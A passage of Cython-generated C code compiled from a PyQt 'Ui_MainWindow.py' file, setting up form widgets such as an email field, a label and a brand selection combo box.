PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":262 * self.R_EMail.setAccessibleDescription("") * self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) * self.R_EMail.setInputMask("") # <<<<<<<<<<<<<< * self.R_EMail.setText("") * self.R_EMail.setPlaceholderText("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__155, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":263 * self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) * self.R_EMail.setInputMask("") * self.R_EMail.setText("") # <<<<<<<<<<<<<< * self.R_EMail.setPlaceholderText("") * self.R_EMail.setObjectName("R_EMail") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__156, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":264 * self.R_EMail.setInputMask("") * self.R_EMail.setText("") * self.R_EMail.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_EMail.setObjectName("R_EMail") * self.formLayout.setWidget(16, QtWidgets.QFormLayout.FieldRole, self.R_EMail) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__157, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":265 * self.R_EMail.setText("") * self.R_EMail.setPlaceholderText("") * self.R_EMail.setObjectName("R_EMail") # <<<<<<<<<<<<<< * self.formLayout.setWidget(16, QtWidgets.QFormLayout.FieldRole, self.R_EMail) * self.label_11 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 265, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 265, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__158, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 265, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":266 * self.R_EMail.setPlaceholderText("") * self.R_EMail.setObjectName("R_EMail") * self.formLayout.setWidget(16, QtWidgets.QFormLayout.FieldRole, self.R_EMail) # <<<<<<<<<<<<<< * self.label_11 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_11.setObjectName("label_11") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_16, __pyx_t_7, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_16, __pyx_t_7, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_16); __Pyx_GIVEREF(__pyx_int_16); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_int_16); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_8, __pyx_t_2); __pyx_t_7 = 0; __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":267 * self.R_EMail.setObjectName("R_EMail") * self.formLayout.setWidget(16, QtWidgets.QFormLayout.FieldRole, self.R_EMail) * self.label_11 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_11.setObjectName("label_11") * self.formLayout.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_11) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 267, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 267, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 267, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 267, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_11, __pyx_t_3) < 0) __PYX_ERR(0, 267, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":268 * self.formLayout.setWidget(16, QtWidgets.QFormLayout.FieldRole, self.R_EMail) * self.label_11 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_11.setObjectName("label_11") # <<<<<<<<<<<<<< * self.formLayout.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_11) * self.R_brandMenu = QtWidgets.QComboBox(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 268, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 268, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__159, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 268, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":269 * self.label_11 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_11.setObjectName("label_11") * self.formLayout.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_11) # <<<<<<<<<<<<<< * self.R_brandMenu = QtWidgets.QComboBox(self.formLayoutWidget) * self.R_brandMenu.setToolTip("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_11); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_19, __pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_19, __pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_int_19); __Pyx_GIVEREF(__pyx_int_19); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_19); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_4); __pyx_t_6 = 0; __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 269, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":270 * self.label_11.setObjectName("label_11") * self.formLayout.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_11) * self.R_brandMenu = QtWidgets.QComboBox(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_brandMenu.setToolTip("") * self.R_brandMenu.setStatusTip("") */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 270, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QComboBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 270, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 270, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 270, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 270, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 270, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 270, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 270, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu, __pyx_t_3) < 0) __PYX_ERR(0, 270, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":271 * self.formLayout.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_11) * self.R_brandMenu = QtWidgets.QComboBox(self.formLayoutWidget) * self.R_brandMenu.setToolTip("") # <<<<<<<<<<<<<< * self.R_brandMenu.setStatusTip("") * self.R_brandMenu.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 271, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 271, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__160, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 271, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":272 * self.R_brandMenu = QtWidgets.QComboBox(self.formLayoutWidget) * self.R_brandMenu.setToolTip("") * self.R_brandMenu.setStatusTip("") # <<<<<<<<<<<<<< * self.R_brandMenu.setAccessibleName("") * self.R_brandMenu.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 272, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 272, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__161, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 272, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":273 * self.R_brandMenu.setToolTip("") * self.R_brandMenu.setStatusTip("") * self.R_brandMenu.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_brandMenu.setAccessibleDescription("") * self.R_brandMenu.setEditable(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 273, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 273, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__162, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 273, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":274 * self.R_brandMenu.setStatusTip("") * self.R_brandMenu.setAccessibleName("") * self.R_brandMenu.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_brandMenu.setEditable(False) * self.R_brandMenu.setCurrentText("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 274, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 274, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__163, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 274, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":275 * self.R_brandMenu.setAccessibleName("") * self.R_brandMenu.setAccessibleDescription("") * self.R_brandMenu.setEditable(False) # <<<<<<<<<<<<<< * self.R_brandMenu.setCurrentText("") * self.R_brandMenu.setObjectName("R_brandMenu") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 275, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setEditable); if (unlikely(!__pyx_t_1)) 